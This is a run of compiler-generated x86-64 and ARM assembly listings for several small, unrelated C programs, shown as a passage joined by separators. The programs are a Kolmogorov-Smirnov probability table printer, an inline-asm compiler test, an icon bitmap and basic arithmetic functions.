movq xmm2, QWORD PTR .LC20[rip]
xorpd xmm0, xmm2
comisd xmm0, xmm1
jbe .L28
movsd xmm0, QWORD PTR -184[rbp]
movsd QWORD PTR -168[rbp], xmm0
movsd xmm0, QWORD PTR -176[rbp]
movapd xmm1, xmm0
addsd xmm1, QWORD PTR -168[rbp]
movsd xmm0, QWORD PTR .LC16[rip]
mulsd xmm0, xmm1
movsd QWORD PTR -184[rbp], xmm0
mov rax, QWORD PTR -160[rbp]
movq xmm0, rax
call sqrt@PLT
movsd xmm1, QWORD PTR -184[rbp]
mulsd xmm0, xmm1
movsd QWORD PTR -192[rbp], xmm0
jmp .L13
.L28:
mov QWORD PTR -224[rbp], 1
jmp .L16
.L13:
add QWORD PTR -248[rbp], 1
.L4:
mov rax, QWORD PTR -248[rbp]
cmp rax, QWORD PTR -144[rbp]
jl .L17
.L16:
cmp QWORD PTR -224[rbp], 0
jne .L18
lea rdi, .LC23[rip]
call puts@PLT
mov edi, -9
call exit@PLT
.L18:
mov rax, QWORD PTR -184[rbp]
movq xmm0, rax
lea rdi, .LC24[rip]
mov eax, 1
call printf@PLT
add QWORD PTR -240[rbp], 1
.L3:
cmp QWORD PTR -240[rbp], 6
jle .L19
lea rdi, .LC25[rip]
call puts@PLT
movsd xmm1, QWORD PTR -160[rbp]
movsd xmm0, QWORD PTR .LC26[rip]
addsd xmm0, xmm1
movsd QWORD PTR -160[rbp], xmm0
.L2:
movsd xmm0, QWORD PTR .LC27[rip]
comisd xmm0, QWORD PTR -160[rbp]
ja .L20
lea rdi, .LC28[rip]
call puts@PLT
lea rdi, .LC29[rip]
call puts@PLT
lea rdi, .LC30[rip]
call puts@PLT
lea rdi, .LC31[rip]
call puts@PLT
lea rdi, .LC32[rip]
call puts@PLT
mov eax, 0
mov rdx, QWORD PTR -8[rbp]
sub rdx, QWORD PTR fs:40
je .L22
call __stack_chk_fail@PLT
.L22:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.section .rodata
.align 8
.LC0:
.long -1598689907
.long 1051772663
.align 8
.LC1:
.long 858993459
.long 1070805811
.align 8
.LC2:
.long -1717986918
.long 1070176665
.align 8
.LC3:
.long -1717986918
.long 1069128089
.align 8
.LC4:
.long -1717986918
.long 1068079513
.align 8
.LC5:
.long 1202590843
.long 1066695393
.align 8
.LC6:
.long 1202590843
.long 1065646817
.align 8
.LC7:
.long 1202590843
.long 1064598241
.align 8
.LC12:
.long 0
.long 1076101120
.align 8
.LC15:
.long 0
.long 1072693248
.align 8
.LC16:
.long 0
.long 1071644672
.align 8
.LC17:
.long -343597384
.long 1069463633
.align 8
.LC18:
.long -1030792151
.long 1069295861
.align 8
.LC19:
.long 0
.long -1073741824
.align 16
.LC20:
.long 0
.long -2147483648
.long 0
.long 0
.align 16
.LC21:
.long -1
.long 2147483647
.long 0
.long 0
.align 8
.LC26:
.long 0
.long 1075052544
.align 8
.LC27:
.long 0
.long 1079607296
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "95785.c"
.text
.section .rodata
.align 2
.LC1:
.ascii "\\begin{table} \000"
.align 2
.LC2:
.ascii "\\begin{center} \000"
.align 2
.LC3:
.ascii "\\begin{tabular}{rrrrrrrr} \000"
.align 2
.LC4:
.ascii "\\hline\012 $n$ & $0.7$ & $0.8$ & $0.9$& $0.95$&$0."
.ascii "98$&$0.99$&$0.995$\\\\\\hline \000"
.align 2
.LC5:
.ascii "$ %lg $ \000"
.global __aeabi_dadd
.global __aeabi_dmul
.global __aeabi_ddiv
.global __aeabi_i2d
.global __aeabi_dsub
.global __aeabi_dcmpgt
.align 2
.LC6:
.ascii "Error: precision not reached\000"
.global __aeabi_dcmplt
.align 2
.LC7:
.ascii "Error: probability did not converge\000"
.align 2
.LC8:
.ascii " & $ %.3lf $ \000"
.align 2
.LC9:
.ascii "\\\\ \000"
.align 2
.LC10:
.ascii "\\hline \000"
.align 2
.LC11:
.ascii "\\end{tabular} \000"
.align 2
.LC12:
.ascii "\\end{center} \000"
.align 2
.LC13:
.ascii "\\caption{Tavola delle probabilit\\`a per il test d"
.ascii "i Kolmogorov-Smirnov} \000"
.align 2
.LC14:
.ascii "\\end{table} \000"
.align 3
.LC0:
.word 858993459
.word 1070805811
.word 2576980378
.word 1070176665
.word 2576980378
.word 1069128089
.word 2576980378
.word 1068079513
.word 1202590843
.word 1066695393
.word 1202590843
.word 1065646817
.word 1202590843
.word 1064598241
.align 2
.LC15:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 240
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, r6, r7, r8, r9, fp, lr}
add fp, sp, #28
sub sp, sp, #240
ldr r3, .L29
ldr r3, [r3]
str r3, [fp, #-32]
mov r3,#0
ldr r3, .L29+4
str r3, [fp, #-236]
mov r3, #1000
str r3, [fp, #-232]
ldr r2, .L29+8
ldr r3, .L29+12
str r2, [fp, #-164]
str r3, [fp, #-160]
ldr r2, .L29+8
ldr r3, .L29+12
str r2, [fp, #-156]
str r3, [fp, #-152]
ldr r3, .L29+16
sub ip, fp, #92
mov lr, r3
ldmia lr!, {r0, r1, r2, r3}
stmia ip!, {r0, r1, r2, r3}
ldmia lr!, {r0, r1, r2, r3}
stmia ip!, {r0, r1, r2, r3}
ldmia lr!, {r0, r1, r2, r3}
stmia ip!, {r0, r1, r2, r3}
ldm lr, {r0, r1}
stm ip, {r0, r1}
ldr r0, .L29+20
bl puts
ldr r0, .L29+24
bl puts
ldr r0, .L29+28
bl puts
ldr r0, .L29+32
bl puts
mov r2, #0
ldr r3, .L29+36
str r2, [fp, #-172]
str r3, [fp, #-168]
b .L2
.L20:
sub r3, fp, #172
ldmia r3, {r2-r3}
ldr r0, .L29+40
bl printf
mov r3, #0
str r3, [fp, #-248]
b .L3
.L19:
mov r2, #0
mov r3, #0
str r2, [fp, #-188]
str r3, [fp, #-184]
mov r2, #0
ldr r3, .L29+44
str r2, [fp, #-180]
str r3, [fp, #-176]
ldr r3, [fp, #-248]
lsl r3, r3, #3
sub r2, fp, #28
add r3, r2, r3
sub r3, r3, #64
ldmia r3, {r2-r3}
str r2, [fp, #-148]
str r3, [fp, #-144]
sub r3, fp, #180
ldmia r3, {r2-r3}
sub r1, fp, #188
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
mov r2, #0
ldr r3, .L29+48
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-204]
str r3, [fp, #-200]
sub r3, fp, #204
ldmia r3, {r2-r3}
str r2, [fp, #-196]
str r3, [fp, #-192]
sub r1, fp, #172
ldmia r1, {r0-r1}
bl sqrt
mov r2, r0
mov r3, r1
sub r1, fp, #204
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-204]
str r3, [fp, #-200]
mov r3, #0
str r3, [fp, #-240]
mov r3, #0
str r3, [fp, #-252]
b .L4
.L17:
mov r2, #0
ldr r3, .L29+44
str r2, [fp, #-212]
str r3, [fp, #-208]
mov r2, #0
mov r3, #0
str r2, [fp, #-228]
str r3, [fp, #-224]
sub r3, fp, #228
ldmia r3, {r2-r3}
str r2, [fp, #-140]
str r3, [fp, #-136]
sub r3, fp, #228
ldmia r3, {r2-r3}
str r2, [fp, #-220]
str r3, [fp, #-216]
sub r1, fp, #172
ldmia r1, {r0-r1}
bl sqrt
mov r2, r0
mov r3, r1
ldr r0, .L29+52
ldr r1, .L29+56
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
mov r2, #0
ldr r3, .L29+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-268]
str r3, [fp, #-264]
sub r3, fp, #172
ldmia r3, {r2-r3}
ldr r0, .L29+60
ldr r1, .L29+64
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
sub r1, fp, #268
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
sub r1, fp, #204
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-132]
str r3, [fp, #-128]
mov r2, #0
mov r3, #-1073741824
sub r1, fp, #132
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
sub r1, fp, #132
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-124]
str r3, [fp, #-120]
mov r3, #0
str r3, [fp, #-244]
mov r3, #1
str r3, [fp, #-256]
b .L5
.L9:
ldr r0, [fp, #-256]
bl __aeabi_i2d
mov r2, r0
mov r3, r1
str r2, [fp, #-116]
str r3, [fp, #-112]
sub r3, fp, #116
ldmia r3, {r2-r3}
sub r1, fp, #116
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-108]
str r3, [fp, #-104]
sub r1, fp, #212
ldmia r1, {r0-r1}
mov r2, r0
mov r3, r1
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-268]
str r3, [fp, #-264]
sub r3, fp, #108
ldmia r3, {r2-r3}
sub r1, fp, #124
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl exp
mov r2, r0
mov r3, r1
sub r1, fp, #268
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
sub r1, fp, #228
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-228]
str r3, [fp, #-224]
sub r3, fp, #220
ldmia r3, {r2-r3}
str r2, [fp, #-140]
str r3, [fp, #-136]
sub r3, fp, #228
ldmia r3, {r2-r3}
str r2, [fp, #-220]
str r3, [fp, #-216]
ldr r4, [fp, #-212]
ldr r3, [fp, #-208]
eor r5, r3, #-2147483648
str r4, [fp, #-212]
str r5, [fp, #-208]
sub r3, fp, #220
ldmia r3, {r2-r3}
sub r1, fp, #140
ldmia r1, {r0-r1}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r8, r2
bic r9, r3, #-2147483648
mov r2, r8
mov r3, r9
sub r1, fp, #164
ldmia r1, {r0-r1}
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L26
mov r3, #1
str r3, [fp, #-244]
b .L8
.L26:
ldr r3, [fp, #-256]
add r3, r3, #1
str r3, [fp, #-256]
.L5:
ldr r2, [fp, #-256]
ldr r3, [fp, #-236]
cmp r2, r3
blt .L9
.L8:
ldr r3, [fp, #-244]
cmp r3, #0
bne .L10
ldr r0, .L29+68
bl puts
mvn r0, #8
bl exit
.L10:
sub r3, fp, #228
ldmia r3, {r2-r3}
str r2, [fp, #-100]
str r3, [fp, #-96]
sub r3, fp, #148
ldmia r3, {r2-r3}
sub r1, fp, #100
ldmia r1, {r0-r1}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
sub r1, fp, #156
ldmia r1, {r0-r1}
bl __aeabi_dcmplt
mov r3, r0
cmp r3, #0
beq .L27
sub r3, fp, #196
ldmia r3, {r2-r3}
str r2, [fp, #-188]
str r3, [fp, #-184]
sub r3, fp, #180
ldmia r3, {r2-r3}
sub r1, fp, #188
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
mov r2, #0
ldr r3, .L29+48
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-196]
str r3, [fp, #-192]
sub r1, fp, #172
ldmia r1, {r0-r1}
bl sqrt
mov r2, r0
mov r3, r1
sub r1, fp, #196
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-204]
str r3, [fp, #-200]
b .L13
.L27:
sub r3, fp, #148
ldmia r3, {r2-r3}
sub r1, fp, #100
ldmia r1, {r0-r1}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
ldr r6, [fp, #-156]
ldr r3, [fp, #-152]
eor r7, r3, #-2147483648
mov r2, r6
mov r3, r7
bl __aeabi_dcmplt
mov r3, r0
cmp r3, #0
beq .L28
sub r3, fp, #196
ldmia r3, {r2-r3}
str r2, [fp, #-180]
str r3, [fp, #-176]
sub r3, fp, #180
ldmia r3, {r2-r3}
sub r1, fp, #188
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
mov r2, #0
ldr r3, .L29+48
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-196]
str r3, [fp, #-192]
sub r1, fp, #172
ldmia r1, {r0-r1}
bl sqrt
mov r2, r0
mov r3, r1
sub r1, fp, #196
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-204]
str r3, [fp, #-200]
b .L13
.L28:
mov r3, #1
str r3, [fp, #-240]
b .L16
.L13:
ldr r3, [fp, #-252]
add r3, r3, #1
str r3, [fp, #-252]
.L4:
ldr r2, [fp, #-252]
ldr r3, [fp, #-232]
cmp r2, r3
blt .L17
.L16:
ldr r3, [fp, #-240]
cmp r3, #0
bne .L18
ldr r0, .L29+72
bl puts
mvn r0, #8
bl exit
.L18:
sub r3, fp, #196
ldmia r3, {r2-r3}
ldr r0, .L29+76
bl printf
ldr r3, [fp, #-248]
add r3, r3, #1
str r3, [fp, #-248]
.L3:
ldr r3, [fp, #-248]
cmp r3, #6
ble .L19
ldr r0, .L29+80
bl puts
mov r2, #0
ldr r3, .L29+84
sub r1, fp, #172
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-172]
str r3, [fp, #-168]
.L2:
mov r2, #0
ldr r3, .L29+88
sub r1, fp, #172
ldmia r1, {r0-r1}
bl __aeabi_dcmplt
mov r3, r0
cmp r3, #0
bne .L20
ldr r0, .L29+92
bl puts
ldr r0, .L29+96
bl puts
ldr r0, .L29+100
bl puts
ldr r0, .L29+104
bl puts
ldr r0, .L29+108
bl puts
mov r3, #0
ldr r2, .L29
ldr r1, [r2]
ldr r2, [fp, #-32]
eors r1, r2, r1
mov r2, #0
beq .L22
bl __stack_chk_fail
.L22:
mov r0, r3
sub sp, fp, #28
@ sp needed
pop {r4, r5, r6, r7, r8, r9, fp, pc}
.L30:
.align 2
.L29:
.word .LC15
.word 10000
.word -1598689907
.word 1051772663
.word .LC0
.word .LC1
.word .LC2
.word .LC3
.word .LC4
.word 1076101120
.word .LC5
.word 1072693248
.word 1071644672
.word -343597384
.word 1069463633
.word -1030792151
.word 1069295861
.word .LC6
.word .LC7
.word .LC8
.word .LC9
.word 1075052544
.word 1079607296
.word .LC10
.word .LC11
.word .LC12
.word .LC13
.word .LC14
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "162351.c"
.intel_syntax noprefix
.text
.globl func_exit
.type func_exit, @function
func_exit:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
lea rdi, __func__.1[rip]
call puts@PLT
mov edi, 0
call exit@PLT
.cfi_endproc
.LFE6:
.size func_exit, .-func_exit
.globl func_call
.type func_call, @function
func_call:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
lea rdi, __func__.0[rip]
call puts@PLT
mov edi, 0
call exit@PLT
.cfi_endproc
.LFE7:
.size func_call, .-func_call
.globl mem
.data
.align 16
.type mem, @object
.size mem, 16
mem:
.quad 2876690816736598038
.quad 5390444261358078659
.text
.globl main
.type main, @function
main:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov QWORD PTR -48[rbp], 0
mov QWORD PTR -40[rbp], 0
mov QWORD PTR -32[rbp], 0
mov QWORD PTR -24[rbp], 0
#APP
# 20 "the_stack_data/162351.c" 1
movei r8, 0
blbc r8, OFFSET FLAT:func_exit
jal OFFSET FLAT:func_call
# 0 "" 2
#NO_APP
mov eax, 0
mov rdx, QWORD PTR -8[rbp]
sub rdx, QWORD PTR fs:40
je .L5
call __stack_chk_fail@PLT
.L5:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size main, .-main
.section .rodata
.align 8
.type __func__.1, @object
.size __func__.1, 10
__func__.1:
.string "func_exit"
.align 8
.type __func__.0, @object
.size __func__.0, 10
__func__.0:
.string "func_call"
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "162351.c"
.text
.align 2
.global func_exit
.syntax unified
.arm
.fpu softvfp
.type func_exit, %function
func_exit:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
ldr r0, .L2
bl puts
mov r0, #0
bl exit
.L3:
.align 2
.L2:
.word __func__.5118
.size func_exit, .-func_exit
.align 2
.global func_call
.syntax unified
.arm
.fpu softvfp
.type func_call, %function
func_call:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
ldr r0, .L5
bl puts
mov r0, #0
bl exit
.L6:
.align 2
.L5:
.word __func__.5122
.size func_call, .-func_call
.global mem
.data
.align 2
.type mem, %object
.size mem, 8
mem:
.word 1949734934
.word -204830013
.section .rodata
.align 2
.LC0:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
ldr r3, .L10
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
sub r3, fp, #24
mov r2, #0
str r2, [r3]
str r2, [r3, #4]
str r2, [r3, #8]
str r2, [r3, #12]
.syntax divided
@ 20 "the_stack_data/162351.c" 1
movei r8, 0
blbc r8, #func_exit
jal #func_call
@ 0 "" 2
.arm
.syntax unified
mov r3, #0
ldr r2, .L10
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L9
bl __stack_chk_fail
.L9:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L11:
.align 2
.L10:
.word .LC0
.size main, .-main
.section .rodata
.align 2
.type __func__.5118, %object
.size __func__.5118, 10
__func__.5118:
.ascii "func_exit\000"
.align 2
.type __func__.5122, %object
.size __func__.5122, 10
__func__.5122:
.ascii "func_call\000"
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "926989.c"
.intel_syntax noprefix
.text
.globl icon2
.section .rodata
.align 32
.type icon2, @object
.size icon2, 2048
icon2:
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.short -29742
.short 23244
.short -16938
.short -1
.short -1
.short -1
.short -1
.short -8485
.short -29615
.short -23276
.short -21131
.short -16937
.short -14792
.short -14824
.short 29614
.short 31695
.short -31728
.short 23243
.short -29615
.short -6340
.short -8485
.short -10566
.short -8453
.short -16937
.short -10598
.short -29583
.short -29615
.short -1
.short -1
.short -34
.short -12710
.short 31601
.short 25325
.short -16905
.short -1
.short -1
.short -1
.short -1
.short -1
.short -2114
.short -27470
.short -27470
.short -23244
.short -19050
.short -16905
.short -19050
.short 27501
.short 16904
.short 10565
.short 6339
.short 27501
.short -8453
.short -10598
.short -8485
.short -19018
.short -14824
.short -25357
.short 27469
.short -34
.short -1
.short -4259
.short -21193
.short 25326
.short 27469
.short -12679
.short -1
.short -1
.short -1
.short -1
.short -1
.short -33
.short -1
.short -16905
.short -29615
.short -23276
.short -21163
.short -19050
.short -16937
.short -23276
.short 29582
.short -23276
.short -19018
.short -12711
.short -10598
.short -8485
.short -19050
.short -16905
.short -23244
.short 27468
.short -4259
.short -2146
.short -16968
.short 29552
.short 23212
.short -29583
.short -4227
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -2146
.short -27470
.short -27470
.short -23244
.short -21163
.short -19018
.short -23244
.short -16937
.short -10598
.short -12711
.short -12679
.short -12711
.short -23244
.short -31696
.short 29582
.short 12678
.short 31664
.short -29645
.short 29552
.short 25325
.short -31728
.short -12711
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -8453
.short -29583
.short -25389
.short -21163
.short -19050
.short -16937
.short -16937
.short -16905
.short -14824
.short -19018
.short -23244
.short -23244
.short 25388
.short 27501
.short -19018
.short -21130
.short -21130
.short -16873
.short -6373
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -8453
.short -27470
.short -29615
.short -27470
.short -23244
.short -21163
.short -21163
.short -25389
.short -29583
.short 29614
.short 25388
.short -23244
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -2114
.short -12711
.short -23276
.short -31696
.short 31695
.short 29582
.short 29614
.short -31728
.short -23244
.short -4227
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -2114
.short -6340
.short -6372
.short -4259
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -33
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -33
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.short -1
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "205381.c"
.intel_syntax noprefix
.text
.globl g
.bss
.align 8
.type g, @object
.size g, 8
g:
.zero 8
.globl k
.align 4
.type k, @object
.size k, 4
k:
.zero 4
.text
.globl mul
.type mul, @function
mul:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov rax, QWORD PTR -8[rbp]
add rax, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size mul, .-mul
.globl muli
.type muli, @function
muli:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -4[rbp], edi
mov eax, DWORD PTR -4[rbp]
add eax, eax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size muli, .-muli
.globl muli2
.type muli2, @function
muli2:
.LFB2:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov eax, DWORD PTR k[rip]
cdqe
imul rax, QWORD PTR -8[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE2:
.size muli2, .-muli2
.globl mul_assign_to_int
.type mul_assign_to_int, @function
mul_assign_to_int:
.LFB3:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov rax, QWORD PTR -24[rbp]
add eax, eax
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -4[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE3:
.size mul_assign_to_int, .-mul_assign_to_int
.globl mul2
.type mul2, @function
mul2:
.LFB4:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov rax, QWORD PTR -8[rbp]
add rax, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE4:
.size mul2, .-mul2
.globl div
.type div, @function
div:
.LFB5:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov eax, 2
cqo
idiv QWORD PTR -8[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE5:
.size div, .-div
.globl div2
.type div2, @function
div2:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov rax, QWORD PTR -8[rbp]
mov rdx, rax
shr rdx, 63
add rax, rdx
sar rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size div2, .-div2
.globl div3
.type div3, @function
div3:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov rax, QWORD PTR g[rip]
cqo
idiv QWORD PTR -8[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size div3, .-div3
.globl add
.type add, @function
add:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov rax, QWORD PTR -8[rbp]
add rax, 2
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size add, .-add
.globl add2
.type add2, @function
add2:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov rax, QWORD PTR -8[rbp]
add rax, 2
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE9:
.size add2, .-add2
.globl sub
.type sub, @function
sub:
.LFB10:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov eax, 2
sub rax, QWORD PTR -8[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE10:
.size sub, .-sub
.globl sub_1
.type sub_1, @function
sub_1:
.LFB11:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov rax, QWORD PTR -8[rbp]
imul rax, rax
mov rdx, rax
mov eax, 2
sub rax, rdx
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE11:
.size sub_1, .-sub_1
.globl sub2
.type sub2, @function
sub2:
.LFB12:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov rax, QWORD PTR -8[rbp]
sub rax, 2
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE12:
.size sub2, .-sub2
.globl sub2_1
.type sub2_1, @function
sub2_1:
.LFB13:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov rax, QWORD PTR -8[rbp]
imul rax, rax
sub rax, 2
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE13:
.size sub2_1, .-sub2_1
.globl sub3
.type sub3, @function
sub3:
.LFB14:
.cfi_startproc
endbr64
push rbp
